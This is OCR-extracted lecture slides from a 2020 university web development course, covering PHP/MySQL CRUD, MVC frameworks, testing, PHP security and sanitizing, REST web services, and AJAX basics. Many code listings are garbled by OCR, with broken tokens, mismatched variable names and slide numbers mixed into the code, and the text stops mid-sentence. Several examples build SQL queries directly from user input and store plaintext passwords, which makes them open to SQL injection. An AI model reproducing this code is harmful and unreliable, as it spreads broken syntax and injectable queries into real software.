if ($con->connect_error) die("Database connection failed:
“.$conn->connect_error);
$firstname = $_POST['firstname'];
$lastname = $_POST['lastname'];
$age = $_POST['age'];
$sql = "INSERT INTO persons (FirstName, LastName, Age)"
. "VALUES ( '$firstname', '$lastname', $age )";
if(mysqli_query($con,$sql)){
echo "Data inserted to the Table successfully";
}else {
echo "Error in inserting data". $con->error;
}
mysqli_close($con);
?>
2
© 2020 e-Learning Centre, UCSC 0
Selecting and Displaying Data
<?php
$con=mysqli_connect("localhost","root","",“myDB");
if ($con->connect_error) die("Database connection failed: " .
$conn->connect_error);
$sql = "select * from persons";
$result = mysqli_query($con,$sql);
if(!$result){
die("Error in executing the SQL" . $con->error);
}
while ($row = mysqli_fetch_array($result)){
echo $row['FirstName'] . " " . $row['LastName']. "<br>";
}
mysqli_close($con);
?>

selects all data stored in the “persons“ table and display only the content of the
‘FirstName’ and ‘LastName’ columns.

2
© 2020 e-Learning Centre, UCSC 0
Select Data satisfying a where
clause
• We can use the Where clause to filter data.
<?php records
$con=mysqli_connect("localhost","root","123456","bit
Earlier example
");
selected all the
if ($con->connect_error) die("Database connection
Records from
failed: " .
the table , but
$conn->connect_error);
here we are
$sql = "select * from persons where
using a where
FirstName='Nimal'";
clause to filter
$result = mysqli_query($con,$sql);
data so that it
if(!$result){
will only return
die("Error in executing the SQL" . $con->error);
records where
}
the First name
while ($row = mysqli_fetch_array($result)){
field is ‘Nimal’
echo $row['FirstName'] . " " . $row['LastName'].
"<br>";
}
mysqli_close($con);
?>
2
© 2020 e-Learning Centre, UCSC 0
MySQL Update
• Whenever you need to update a record
which exist in a table, you can use update
query.
UPDATE table_name Here the ‘Where’
SET column1=value, clause decide
column2=value2,... which records to
WHERE some_column=some_value be updated. If you
remove the WHERE
clause, all records
will be updated

2
© 2020 e-Learning Centre, UCSC 0
Changing Data in the DB
<?php
$con=mysqli_connect("localhost","root","",“myDB"
);
if ($con->connect_error) die("Database
This will search
connection failed: " .
for records
$conn->connect_error); which have
if(mysqli_query($con,"UPDATE Persons SET Age= 50 the Firstname
WHERE FirstName='Nimal'")){ as ‘Nimal’ and
echo "Record updated successful"; change the
} else { Age attribute
echo "Error in executing the SQL" . $con- of those
>error; records to ‘50’
}
mysqli_close($con);
?>

2
© 2020 e-Learning Centre, UCSC 0
Delete Data In a Database Table
• The delete query is used when you need to remove a
record from a table.
DELETE FROM table_name
WHERE some_column = some_value
<?php
$con=mysqli_connect("localhost","root","123456","bit"); if
($con->connect_error) die("Database connection failed: " .
$conn->connect_error);
if(mysqli_query($con, "DELETE from Persons WHERE
FirstName='Nimal'")){
echo "Record delete successful";
} else {
echo "Error in executing the SQL" . $con->error;
}

mysqli_close($con);
?>

2
IT3505 Web Application
© 2020 e-Learning Centre, UCSC Development 0
Frameworks & MVC
What is a framework ?
• A software framework is a re-usable design that can be
used to build a software system (or subsystem).

A framework for a house is a


structure that engineers use to
build a house . Likewise ,a
software framework is a
structure with core functionalities
and data structures that enable
developers to build their
applications with ease.

Allows developers to develop


applications faster

A framework for a house


2
© 2020 e-Learning Centre, UCSC 1
What is a framework ?
• Frameworks support for the development of large-
scale software systems. They provide higher
productivity and shorter development time through
design and code reuse.
• Software frameworks include support programs,
compilers, code libraries, tool sets, and application
programming interfaces (APIs) that bring together
all the different components to enable
development of a project or solution.

2
© 2020 e-Learning Centre, UCSC 1
Library vs. Framework
• A library performs specific, well-defined
operations whereas a framework is a skeleton
(abstract design) where the application defines
what exactly to be done by filling out the
skeleton.
• The main objective of a library is the code reuse.
• Typically, in a framework there is a defined control
flow with predefined spots that you should fill out
with our code. Your inserted code will be called by
the framework appropriately.

2
© 2020 e-Learning Centre, UCSC 1
Library vs. Framework

2
© 2020 e-Learning Centre, UCSC 1
Why Frameworks ?
• Raw PHP, works very well with small applications.
HTML files can be easily extended with dynamic
content from the database, form processing, etc.
• But, when applications grow, lots of code repetition
occurs across multiple pages.
• Many common tasks will be there for any given web
application that may need to redevelop when
programming from basic features.
• Its hard for a new developer to work on a code
someone else have written.
– It takes a long time to get familiar with the code.
2
© 2020 e-Learning Centre, UCSC 1
Model-View-Controller design
pattern
• Most common and popular Web application development
frameworks are based on the Model-View-Controller(MVC) design
pattern.
• A design pattern is a software design best practice derived from
experience.
• When the framework provides the building blocks of the proved
design pattern the developers can focus on the specific requirements
of the project under development.
• Recall in OOP a class is a blue print to generate multiple objects.
• In parallel a design pattern is a design guideline for a given program
design problem (i.e.: what is the suitable high-level design for a web
application?)

2
© 2020 e-Learning Centre, UCSC 1
Model-View-Controller design
pattern
• When Model-View-Controller pattern is implemented the
application is structured to logically separable functions
• For MVC such parts include data-model, presentation
aspect and the control flow.
• Typically, application frameworks provide basic building
blocks needed by most applications such as
– Database connections
– Business logic
– Form handling

2
© 2020 e-Learning Centre, UCSC 1
Features of a good framework
• Supports a design pattern.
• Provide libraries, plugins to make application development
easier and faster.
• Supports layer of abstraction for database
interactions
– Ability to work with a database without writing
queries by SQL language
• A strong community
– If something goes wrong, a place to get support.

2
© 2020 e-Learning Centre, UCSC 1
PHP Frameworks
There are many PHP framework. A number
of them are listed below
• CakePHP
• Symfony
• CodeIgniter
• Zend Framework
• Yii Framework

2
© 2020 e-Learning Centre, UCSC 1
PHP application testing and
tools
Web Application Testing
• In all areas of software development, including web
applications, testing is a crucial step.
• You must ensure the application works correctly
before handing it over to your customer.
• That process involves testing. There are generally four levels
of testing that you
can perform with dynamic web applications. From lowest to
highest levels.

2
© 2020 e-Learning Centre, UCSC 2
Web Application Testing
• Unit testing: Perform tests on individual sections of code to
ensure that there are no syntax or logic errors. In a web
application you can test individual functions/button events
and ensure there are no errors or warnings produced for
acceptable input.
• Integration testing: Perform tests on passing data between
different sections of code to ensure that there is no data
mismatch. Proper integration testing requires an overall
picture of system components(different pages) and the data
flow between them. Therefore a picture of the flow should
be kept when performing the testing.

© 2020 e-Learning Centre, UCSC


Web Application Testing
• System testing: Perform tests on the entire website to
ensure that all the functionality works correctly and no
requirement is missing. System testing requires that you (or
a non-developer) walk through the entire application from
start to finish. The system testing often refers back to the
original feature requirements that were defined by the
customer, ensuring that each of the requirements is met by
the applications.
• Acceptance testing: Customer tests the website to ensure
that it works as customer specified and that customer
understands the user interface. A checklist for all the
requirement features is useful if a user guide for the
application is available it can be used as well.

© 2020 e-Learning Centre, UCSC


Web Application Testing Automation
• Automation of Testing: Rather than manually testing
entire application at each update it is convenient to
make the testing process mechanical. This is a widely
used practice in present software industry.
• To support programmatic/automated testing of web
applications in PHP there are frameworks developed.
(Frameworks may differ for each programming
language)

© 2020 e-Learning Centre, UCSC


Web Application Testing Automation
• PHPUnit: PHPUnit is the best-known testing framework
for writing Unit Tests for PHP apps. Unit tests take small
portions of code called units and test them one by one.
Note that programmer has to write code for testing the
application code.
• It can be used via the command line, and it provides us
with a handy TestCase class that we can extend
according to our needs. PHPUnit also allows developers
to use pre-written assertion methods to assert that the
app behaves a certain way.

© 2020 e-Learning Centre, UCSC


Web Application Testing Automation
• Selenium: Selenium is a sophisticated testing framework
that automates browsers. This means it is possible to
write User Acceptance Tests that examine the entire app
as a whole.
• Selenium is a robust tool that has its own WebDriver API
that can drive a browser natively as though a real user
would use it either locally or on a remote machine.
Selenium is an excellent tool for testing more mature
web applications.
• Selenium is not specific to PHP therefore learning it can
help in other environments as well.

© 2020 e-Learning Centre, UCSC


sQl
spo0r\ng "Ve
data Oh

Web Application Security

Validation Sanitizing
Web Application Security
• Security is a very important area of Web application
development. The security aspect comparatively more
important than the non-web applications. There are reasons
for that:
• Web applications are exposed to internet, therefore anyone
with a computer and internet connection can reach the
application.
• Web applications use a web client that renders the
application content for the user in contrast to the direct
interface with a desktop application therefore we do not
have control over the client.
• Web content reaches the user through a public network in
contrast to the locally installed or restricted application.
2
© 2020 e-Learning Centre, UCSC 2
Web Application Security
Results of application security breaches:
• Sensitive data of both company and customers is
exposed
• Loss of trust by the customers
• Direct financial loss due to fraudulent transactions
etc.
• High cost of recovering the data, software and even
hardware
• Interruption of business
2
© 2020 e-Learning Centre, UCSC 2
Exploring PHP Vulnerabilities
• Cross-site scripting
• Data spoofing
• Invalid data
• Unauthorized file access

2
© 2020 e-Learning Centre, UCSC 3
Exploring PHP Vulnerabilities
• Cross-site scripting : Cross-site scripting (known as
XSS) is quite possibly the most dangerous type of
attack made on dynamic web applications. The
main idea of an XSS attack is to embed malicious
JavaScript code in data that the attacker submits to
the web application as part of the normal data
input process. When the web application tries to
display the data in a client browser, the JavaScript
is pushed to the client browser that’s viewing the
website and runs.

2
© 2020 e-Learning Centre, UCSC 3
Exploring PHP Vulnerabilities
Cross-site scripting attacks can be in two types: හොර පිටපත
• Persistent attack: The attacker places the rogue script as
data that the browser displays when the web page loads.
User only has to access the page to be exposed to the
malicious code. Attacker can keep a comment for a blog
post that runs as victim sees the comment.
• Reflected attack: The attacker places the rogue script as a
link in the submitted data. Victims must actively click the
link to launch the XSS attack. The attacker might send a link
through email which need to be clicked by the victim.

2
© 2020 e-Learning Centre, UCSC 3
Exploring PHP Vulnerabilities
Data spoofing : Data spoofing means externally inserting
fraudulent data into a PHP program code. PHP has a setting
called register_globals in the php.ini configuration file for the
PHP server.
• When this setting is enabled, PHP automatically converts
any data passed via the GET or POST methods into a PHP
variable.
• Attacker can use this feature to create a global variable
inside your PHP program by just sending an input parameter
with the required name.
• If such a variable is used by the program to take a decision
attacker can override the value of that variable making the
PHP code vulnerable.

2
© 2020 e-Learning Centre, UCSC 3
Exploring PHP Vulnerabilities
Invalid data : Invalid data inputs to a web application can be
due to two reasons.
• Human error of the user: Often invalid data is just the result
of a site visitor not paying close enough attention to the
form fields and entering the wrong data into the wrong
field, such as typing a zip code into a city name data field.
• Intentional input by an attacker: This can vary from as
entering an invalid email address into a contact form on
purpose to remain anonymous to inserting a data that may
reveal a system vulnerability/malfunction i.e. SQL injection.
• The application developer has to anticipate invalid data and
try to prevent it before it becomes a problem in the
application.
2
© 2020 e-Learning Centre, UCSC 3
Exploring PHP Vulnerabilities
Unauthorized file access : The PHP code in your web
applications may contain lots of privileged Information or
directions to locate such information i.e.: database user
account information.
• Therefore being able to properly protect your PHP files
from unauthorized viewing is a must.
• If an attacker tries to access a .php file in the server
normally the result will be the processed output of the
code but not the source code itself.
• However if an attacker manages to break into the
DocumentRoot (i.e. htdocs) folder using some attack,
your PHP code will be visible giving out more
information to attack the system further.

2
© 2020 e-Learning Centre, UCSC 3
Handling Vulnerability
What are vulnerabilities
in Web applications?
Buffer
Overflows
Insecure
Insecure
Conffg.
Storage
Mgnt

Unvalidated
CSS Flaws
Input

OWASP Top Ten Most Critical Web Application Security Vulnerabities

Broken
Denial of Authen
Service iession Mgnl

Injection Broken
Flaws Improper Access
Error Control
Handling

238
WEB APPLICATION
ATTACKER

C2>
4

I I INFORMATION SQL INJECTION


GATHERING I Exfiltration

a
©
HASH CRACK PASSWORD HASH
ADMIN LOGIN
< PHP BACKDOOR INJECTION
# ++ #+ + ++ +
A
SERVER SERVER
V
ATTACKER
>.
I
M
PRIVILEGE ESCALATION

www-data root
A

239
PHP Vulnerability Solutions
Data Sanitizing : Sanitizing data input to PHP code means
converting/removing any embedded scripts or HTML content.
• This sanitizing step stops any type of XSS attacks we
explained before.
• Two functions in PHP can help the sanitizing:
1. htmlspecialchars()
2. filter_var()
• htmlspecialchars() : This function detects HTML tags
embedded in a data string and converts the greater-than
and less-than symbols in the tags to the HTML entity codes
&gt; and &lt;. This doesn’t remove the tags from the input
but converts them to normal text.
• filter_var() : The filter_var() function provides a host of
customized filters for finding and sanitizing different types
of data that could potentially cause harm in your PHP
application.
2
© 2020 e-Learning Centre, UCSC 4
PHP Vulnerability Solutions

Data Sanitizing
• htmlspecialchars() function signature is as follows:
htmlspecialchars(string [, flags [,encoding [,double]]])
• By default, the function encodes the following characters:
Ampersand (&), Double quote ("), Single quote ('), Less than
(<), Greater than (>)
• You can pick and choose which of these items the
htmlspecialchars() function converts and which ones it
allows through by specifying one or more flags.

2
© 2020 e-Learning Centre, UCSC 4
PHP Vulnerability Solutions

Some htmlspecialchars() function flags:


Flag Description
ENT_COMPAT Converts only double quotes.
ENT_QUOTES Converts both single and double quotes.
ENT_NOQUOTES Doesn’t convert either single or double quotes.
ENT_IGNORE Doesn’t convert anything.
ENT_SUBSTITUTE Replaces invalid code with Unicode replacement characters
instead of returning an empty string.
ENT_XHTML Handles the code as XHTML.
ENT_HTML5 Handles the code as HTML5.

2
© 2020 e-Learning Centre, UCSC 4
PHP Vulnerability Solutions
Data Sanitizing
• filter_var() function signature is as follows: filter_var(string
[, filter] [, flags])
• The filter and flags parameters are optional, but in most
cases you’ll at least specify the filter to use. The filter
defines what class of characters the filter_var() function
should look for, and the flags parameter fine-tunes subsets
of characters within the filter class.

2
© 2020 e-Learning Centre, UCSC 4
PHP Vulnerability Solutions
Some filter_var() function filter options for sanitizing
Option Description
FILTER_SANITIZE_EMAIL Removes invalid characters from an email
address.
FILTER_SANITIZE_ENCODED Encodes a string to make a valid URL.
FILTER_SANITIZE_MAGIC_QUOTES Escapes embedded quotes.
FILTER_SANITIZE_NUMBER_FLOAT Removes all characters except digits and float
symbols.
FILTER_SANITIZE_NUMBER_INT Removes all characters except digits and
integer symbols.
FILTER_SANITIZE_SPECIAL_CHARS Removes quotes, as well as greater-than,
less-than, and
ampersand characters.
FILTER_SANITIZE_STRING Removes all HTML5 tags.
FILTER_SANITIZE_URL Removes all invalid URL characters.
2
© 2020 e-Learning Centre, UCSC 4
PHP Vulnerability Solutions

• Validating data : Detecting all types of invalid data


can be impossible, but PHP provides a few ways for
you to at least detect some types of invalid data to
help make things at least a little bit easier.
• Validating data types : One primary goal for
catching invalid data is to at least determine that
the input data is the correct data type. PHP
provides a series of functions to do that.

2
© 2020 e-Learning Centre, UCSC 4
PHP Vulnerability Solutions

List of validating functions available in PHP

Function Description
is_bool() Returns TRUE if the value is a Boolean data type.
is_float() Returns TRUE if the value is in valid float format.
is_int() Returns TRUE if the value is an integer value.
is_null() Returns TRUE if the value is NULL.
is_numeric() Returns TRUE if the value is in a valid numeric format.
is_string() Returns TRUE if the value is a string as opposed to a
number.

2
© 2020 e-Learning Centre, UCSC 4
PHP Vulnerability Solutions

• Validating data format : Testing for valid data types is fine


when you’re working with numeric values, but it doesn’t
help all that much for text values such as names, home
addresses, and email addresses.
• The is_string() function can tell you that the value is a valid
string value, but not the format of the data contained
within the string.
• PHP filter_var() function can be used for this purpose too
(other than sanitizing).

2
© 2020 e-Learning Centre, UCSC 4
PHP Vulnerability Solutions

filter_var() function options for data validating


Option Description
FILTER_VALIDATE_BOOLEAN Returns TRUE if the value is a valid Boolean value.
FILTER_VALIDATE_EMAIL Returns TRUE if the value is in a valid email address format.
FILTER_VALIDATE_FLOAT Returns TRUE if the value is in a valid float format.
FILTER_VALIDATE_INT Returns TRUE if the value is in a valid integer format.
FILTER_VALIDATE_IP Returns TRUE if the value is in a valid IP address format.
FILTER_VALIDATE_MAC Returns TRUE if the value is in a valid MAC address format.
FILTER_VALIDATE_REGEXP Returns TRUE if the value matches the specified regular
expression.
FILTER_VALIDATE_URL Returns TRUE if the value is in a valid URL format.

2
© 2020 e-Learning Centre, UCSC 4
Web Services
WSDL (Web Services Description Language) is an XML-based language used to describe the functionality offered by a web
service. It defines how web services can be called, what parameters they expect, and what data they return, enabling
communication between different systems over a network. Here’s a breakdown of key elements of WSDL:

Web Services
“A web service is a software system designed to
support interoperable machine-to-machine
interaction over a network. It has an interface
described in a machine-processable format
(specifically WSDL). Other systems interact with the
web service in a manner prescribed by its description
using SOAP-messages, typically conveyed using HTTP
with an XML serialization in conjunction with other
web-related standards.”
— World Wide Web Consortium, Web Services
Glossary

2
© 2020 e-Learning Centre, UCSC 5
Web Services

2
© 2020 e-Learning Centre, UCSC 5
PHP Web services
• Web service is a remote service that allows clients to use
HTTP protocol to utilize APIs hosted remotely over a
network.
• There are different standards to implement web services
such as SOAP and REST.
• We will use PHP to implement a REST based web service.
• The web service is technologically same as a web
application used by a human but different from it as the
usage is to another program rather than a human.
• Web service can be consumed by any client including
another web service.

2
© 2020 e-Learning Centre, UCSC 5
PHP Web services
• REST or Representational State Transfer is one of the
popular architectural style used to develop web services.
• The objective is to build a RESTful web service in PHP to
provide resource data based on the request with the
network call by the external clients. The steps to create web
service:
1. Create request URI with patterns that follow REST
principles.
2. Make the RESTful service to be capable of responding
to the requests in JSON/ XML or HTML formats.
3. Demonstrate the use of HTTP Status code based on
different scenarios.
4. Demonstrate the use of Request Headers.
5. Test the RESTful web service using a REST client.

2
© 2020 e-Learning Centre, UCSC 5
PHP Web Services
• Basic architecture of a RESTful web service:
RESTful
Web Service

Request (GET. PUT .POST)


A REST
k.
Request
[ REST 1 Handler
L Client J (JSON) Response
V

8
© 2020 e-Learning Centre, UCSC
I
2
5
PHP Web services
• We will create a table and implement HTTP based
web services to perform CRUD operations on the
data in that table.
• The communication with the browser happens
through HTTP protocol similar to viewing a web
page in world wide web.
• The message format used to communicate is JSON
(Java Script Object Notation).
• Both server and client has to agree what types of
messages are supported and their meaning.
2
© 2020 e-Learning Centre, UCSC 5
PHP Web services
• We create a new 1
databased and a table 2
3
— Database: 'rest web'
create database IF NOT EXISTS 'rest web'
to keep the data for 4
5
our web service. 6
7
— Table structure for table 'user'
CREATE TABLE IF NOT EXISTS "user" (
6 "ID' int(ll) NOT NULL AUTO_INC REMENT ,
• Using phpMyAdmin we 9
IQ
'name' tent NOT NULL,
'email" varchar(10O) NOT NULL,
execute the script to 11
12
"password1 varchar(lQQ) NOT NULL,
'status' text NOT NULL,
make the necessary 13
14
PRIMARY KEY (ID')
) AUTO_ INCREMENTS ;
changes to the 15

database.

2
© 2020 e-Learning Centre, UCSC 5
Activity: MySQL
• We create the database 1
2 — Database: 'rest web'
“rest_web” and table 3 create database IF NOT EXISTS 'rest web'
4
“user” as given in the 5
following script. 6
7
— Table structure for table 'user'
CREATE TABLE IF NOT EXISTS "user" (
6 "ID' int(ll) NOT NULL AUTO_INC REMENT ,
• Manually insert an entry to 9 'name' tent NOT NULL,
IQ 'email" varchar(10O) NOT NULL,
the table with your 11 "password1 varchar(lQQ) NOT NULL,
'status' text NOT NULL,
information. 12
13 PRIMARY KEY (ID')
14 ) AUTO_ INCREMENTS ;
• Notice that ID column is 15

automatically updated.

2
© 2020 e-Learning Centre, UCSC 5
PHP Web services
• To connect to the database we have to repeat
some code which can be in a reusable php script.
• This file is connect.php. We use the technique if
including this file in other places.

• Note : you may 1 <7php


2 $servername = "localhost" ;
3 $username = "username";
create new 4 $password = "password";
5 $dbname = Mrest_web" ;

credentials(usern 6
7 [// Create connection

ame/password) 6 $conn = new mysqli ($servername ,


9 $dbname);
10
or use existing 11 // Check connection
12 if ($conn->connect_error) {

ones. 13 die("Database connection failed: 11 . $conn->connect_error);


14
15 }
echo "Error connecting to database";

16 ?>

© 2020 e-Learning Centre, UCSC


I
2
5
PHP Web services
• Our REST API in
signup.php is for
inserting a user 1 <?php
2 // include connect. php
includes the 3 include_once( 1 connect.php');
4 * if($_SERVER['REQUEST_METHOD’] == "POST"){
connect.php. 5
6
// Get data
$name = isset($_POST["name"]) ? ($_POST["name"]) ; H II ;
$email = isset($_POST["email"]) ? ($_POST["email"]) : it ii ;
• It accesses the
7
8 $password = isset($_POST[' pwd']) ? ($_POST[ ’ pwd ']) : II II ;
9 $status = isset($_POST['status']) ? ($_POST['status’]) : II II ;
request 10
11 // Insert data into data base
parameters an 12
13
$sql = "INSERT INTO * rest_web'.'user'('name','email' ,'password',
'status')VALUES(' $name' ,'$email' ,'$password’ ,'$status') ;

inserts to database. 14
15
$qur = mysqli_query($conn ,$sql);
if($qur){
16 $json = array("status" => 1, "msg" => "Done User added!");
• Returns a JSON 17 *
18
}else{
$json = array("status" => 0, "msg" => "Error adding user!");
response to the 19
20
}
}else{
caller 21
22 }
$json = array("status" => 0, "msg" => "Request method not accepted");

23 //if the connection object exits


• We can see the 24 if (!$conn->connect_error){
25 $conn->close();
response in client 26 }
27 /* Output header */
28 header( ’Content-type: application/json');
29 echo json_encode($json);
30
31 ?>

2
© 2020 e-Learning Centre, UCSC 5
PHP Web services
• To call the web service use either curl program or a browser
based client

curl

2
© 2020 e-Learning Centre, UCSC 6
PHP Web services

Mozilla
add-on
based
REST
client

2
© 2020 e-Learning Centre, UCSC 6
PHP Web services

• This REST API uses HTTP GET method to retrieve data


from the database.
• The connection and response methods are same as
before. (Not shown in the code)

$urid = isset($_GET[ uid']) ? htmlspecialchars($_&ET[ 1 uid 1 ]) : II I I


if(!empty($uid)){
$qur = mysqli_query($conn,"select name, email status from 'user' where ID= $uid'")•,
1

= array();
if(!$qur){
$]son = array("status" => 0, "msg" => "User ID not define ".$uid );
}else{
while($row = mysqli_fetch_array($qur)){
= array("name" => $row[ 1 name 1], "email" => $row" ' email'], status' => £row['status ]);
1

}
$j son = array("status" => 1, "info" =>
}
}else{

I
$json = array("status" => 0, "msg” => "User ID not define ".$uid);
}
2
© 2020 e-Learning Centre, UCSC 6
Activity: PHP Web services

• Using the repeating code for database


access and JSON output generation
complete the below PHP fragment. (We can
name this view.php)

2
© 2020 e-Learning Centre, UCSC 6
PHP Web services

• Following shows the GET API call request and response in


the browser based client.
• GET API maps to the read operation on data.

2
© 2020 e-Learning Centre, UCSC 6
PHP Web services
• Following shows the PUT API call processing in PHP.
• This API does an update on our table.

5 T -if($_SERVER[,REQUEST_METHOD'] == "PUT"}{
6 $params = ArrayO I
7 parse_str(file_get_contents('php :/ /input1 ), $pararas);
a $G LQ BAL5["_ PUT"] = $params;
9 // Add these request vars into _REQUEST, mimicing default behavior,
10 //PUT/DELETE will override existing COOKIE/GET vars
li $_REQUE5T = $params + $_REQUE5T;
12
13 $uid = isset($_PUT[ uid ']) ? htmlspecialchars($_PUT“ 1 uid 1]) : II II
14 $status = isset($_PUT] 1 status ]) 7 htmlspecialchars($_PUT['status']) : II II
15 !i Add your validations
16 * if( iempty($uid)){
17 $qur = mysqli _query($conn ,
18 "UPDATE ' rest_web' . 'user1 SET 'status'='Jstatus 1 WHERE 'user'.'ID' ='$uidr;");
19 » if($qur){
20 $json = array(nstatus" => 1, "msg" => "Status updated!!.11);
21 » }else{
22 $json = a rray("status" =s 0, "msg” => "Error updating status"};
23 }
24 » }el5e{
25 $json = array("status" =5 0, "msg” => "User ID not define 1"};
26 }
27 T }else{
2a
29 }
$json = array("status" == 0, "msg” => "User ID not define 21’};

2
© 2020 e-Learning Centre, UCSC 6
PHP Web services
• Notice that we have used some preprocessing code to
use HTTP PUT as PHP does not support direct accessing
the it similar to GET and POST.

2
© 2020 e-Learning Centre, UCSC 6
Activity: PHP Web services
• Complete the below code fragment with the same
approach described before and name it as edit.php.
Access the edit API from client and test the result in
the “rest_web” table.

2
© 2020 e-Learning Centre, UCSC 6
PHP Web services
• Following shows the PUT API call and
response in the client program.

2
© 2020 e-Learning Centre, UCSC 6
Additional Information on PHP
Web Service
• Curl client program : https://curl.se/windows/
• Mozilla REST client :
https://addons.mozilla.org/en-
US/firefox/addon/restclient/
• JSON processing in PHP :
https://www.w3schools.com/js/js_json_php.asp
• PHP Global variables :
https://www.w3schools.com/php/php_supergloba
ls.asp

2
© 2020 e-Learning Centre, UCSC 6
2 : Fundamentals of Asynchronous
JavaScript and XML (AJAX)
IT3406 – Web Application Development II

Level II - Semester 3

© 2020 e-Learning Centre, UCSC


Traditional technologies used in
web development
Internet in the past…

• Served static content.


• A very dry experience.
• Basic Request/Response procedure,
1. Web browser asking the web server to send it a web page.
2. Server sending back the page.
3. Browser then takes care of displaying the page.

© 2020 e-Learning Centre, UCSC 3


Dynamic web pages

• Dynamic web pages altered the overall internet


experience.
• Ex: Shopping carts, Social media, Search engines etc..

• Popularity of tools and technologies to support dynamic


web content.
• Ex: PHP, MySQL, Perl etc..

© 2020 e-Learning Centre, UCSC 4


Web The Web PHP Disk MySQL
browser Internet server processor drive database

1 Enter
URL \
Look up
2 the IF
:
3 Request
mein page
4 Receive
request :

5 :
Fetch
page
6 Contains
PHP 1
Process
7 PHP :

8 Execute
: SQL
Receive
9 data
Return
10 page

11 Display
page

An example dynamic client/server request/response sequence

© 2020 e-Learning Centre, UCSC


I
5
PHP, MySQL, JavaScript, and CSS

• Many web development technologies.


• PHP, MySQL, JavaScript, and CSS?
• The Symbiotic nature of PHP and MYSQL;
• JavaScript became an essential part in manipulating CSS;
• It was possible to build dynamic and interactive when using PHP,
MySQL, JavaScript, and CSS together.
• Resulted in wider popularity and adoption.

© 2020 e-Learning Centre, UCSC 6


PHP

• A scripting language,
• Speedy and seamlessly integrating with HTML code.
W index.php
1 < !DOCTYPE html>
2 <html>
3 <body>
4 v <?php
5 echo "Hello World. Today is ".date("1").".
6 ?>
7 How are you?
8 </body>
9 </html>

• Modify HTML on the fly | Process a credit card | Add user details
to a database | Fetch information from a third-party website |
etc.…..

© 2020 e-Learning Centre, UCSC


I
7
Activity

• What are the alternatives for PHP for server side scripting?
• Compare and contrast advantages and disadvantages of the
alternatives and PHP.

© 2020 e-Learning Centre, UCSC 8


MySQL

• In early days,
• Developers used ‘flat’ text files to store data:
• usernames, passwords etc..

• Unsecure | Can become unwieldy/too large | Difficulties in


merging files | Difficulties in performing complex searches.

• Relational databases became essential.


• Structured Query Language.

© 2020 e-Learning Centre, UCSC 9


MySQL contd.

• Popularity of MySQL…
• Free to use and installed on vast numbers of Internet web
servers.
• Robust and exceptionally fast database management system
that uses English-like commands. Example:

• When used alongside PHP and other server-side scripting


languages, you can make calls directly to MySQL without having
to run the MySQL program yourself or using its command-line
interface.

1
© 2020 e-Learning Centre, UCSC
0
Activity

• What are the alternatives for MySQL?


• Compare and contrast advantages and disadvantages of the
alternatives and MySQL.

1
© 2020 e-Learning Centre, UCSC
1
JavaScript

• Created to enable scripting access to all the elements of


an HTML document.
• Dynamic user interactions: validations | prompts | animations
• Combined with CSS, JavaScript is the power behind dynamic
web pages.
1 <!DOCTYPE html>
2 <html>
3 <body>
4 < script type="text/javascript">
5 document.write("Hello World. Today is " + Date() );
6 </script>
7 How are you?
8 </body>
9 </html>

Hello World. Today is Tim Dec 31 2020 16:24:57 GMT+0530(India Standard Time)How are yon?

© 2020 e-Learning Centre, UCSC


I
1
2
JavaScript contd.

• Originally developed to offer dynamic control over the


various elements within an HTML document.
• Now JavaScript is not only limited to client-side scripting.
• You can develop both the client-side and server-side using
JavaScript for highly dynamic and interactive web applications.

1
© 2020 e-Learning Centre, UCSC
3
JavaScript contd.

• Used for asynchronous communication.


• Allows web pages to begin resembling stand‐alone programs;
• Because they don’t have to be reloaded in their entirety to display
new content.
• An asynchronous call can pull in and update a single element on
a web page
• EX: Changing your photograph on a social networking site.

1
© 2020 e-Learning Centre, UCSC
4
Activity

• What are the alternatives for JavaScript?


• Compare and contrast advantages and disadvantages of the
alternatives and JavaScript.

1
© 2020 e-Learning Centre, UCSC
5
CSS

• CSS – Cascading Style Sheets


• Current version – CSS3
• CSS now offers a level of dynamic interactivity previously
supported only by JavaScript.
• Example code:

1
© 2020 e-Learning Centre, UCSC
6
PHP + MySQL + JavaScript + CSS ?

• PHP, MySQL, JavaScript, and CSS together?


• PHP handles all the main work on the web server.
• MySQL manages all the data.
• The combination of CSS and JavaScript looks after web page
presentation.
• JavaScript can also interact with PHP code on the web server
whenever it needs to update something.

1
© 2020 e-Learning Centre, UCSC
7
Asynchronous JavaScript and XML
(AJAX)
Asynchronous communication?
• Google maps: an example for asynchronous communication in web
applications.
• New sections of a map are downloaded from the server when
needed, without requiring a page refresh.

1
© 2020 e-Learning Centre, UCSC
9
Asynchronous communication?

• Asynchronous communication: reduces the amount of


data that must be sent back and forth.
• Makes web pages seamlessly dynamic,
• More like self-contained applications rather than a set of static
pages.

• Results in,
• Improved user interfaces | Better responsiveness

• Examples;
• Updating content of a web page without reloading the page.
• Form auto-completion and in-line validation.
• Social networks – reacts, ratings, voting, polls, etc..
• Chat rooms and instant messaging
2
© 2020 e-Learning Centre, UCSC
0
AJAX introduction

• Asynchronous JavaScript and XML


• Misleading name?
• AJAX applications may use XML to transport data
• Equally common to transport data as plain text or JSON text.

• A set of methods that are built into JavaScript.


• Allow web pages to be updated asynchronously by
transferring data between the browser and a server in
the background.
• Update parts of a web page, without reloading the
whole page.

2
© 2020 e-Learning Centre, UCSC
1
AJAX contd.

• AJAX uses a combination of:


• A browser built-in XMLHttpRequest object to request data from
a web server.
• JavaScript and HTML DOM to display or use the data.

Source: https://www.w3schools.com/xml/ajax_intro.asp
2
© 2020 e-Learning Centre, UCSC
2
XMLHttpRequest object

• Syntax for creating an XMLHttpRequest object,

• For older versions of Internet Explorer,

2
© 2020 e-Learning Centre, UCSC
3
XMLHttpRequest object methods

2
© 2020 e-Learning Centre, UCSC
4
XMLHttpRequest object properties

2
© 2020 e-Learning Centre, UCSC
5
Example: Asynchronous program

2
© 2020 e-Learning Centre, UCSC
6
Example: Asynchronous program contd.

Click event

2
© 2020 e-Learning Centre, UCSC
7
Example: Asynchronous program contd.

• Sending a request to a server.

• open(method, url, async)


• method: the type of request: GET or POST
• url: the server (file) location
• async: true (asynchronous) or false (synchronous)

• send()
• Sends the request to the server

2
© 2020 e-Learning Centre, UCSC
8
Example: Asynchronous program contd.

• GET or POST?
• GET is simpler and faster than POST.
• Some browsers may cache GET requests, whereas POST requests
will never be cached.
• When cached, the browser would just redisplay what it got previously
rather than displaying fresh input.
• Solution: adds a random parameter to each request, ensuring
that each URL requested is unique.

2
© 2020 e-Learning Centre, UCSC
9
Activity

Change the given sample code so that you can resolve the
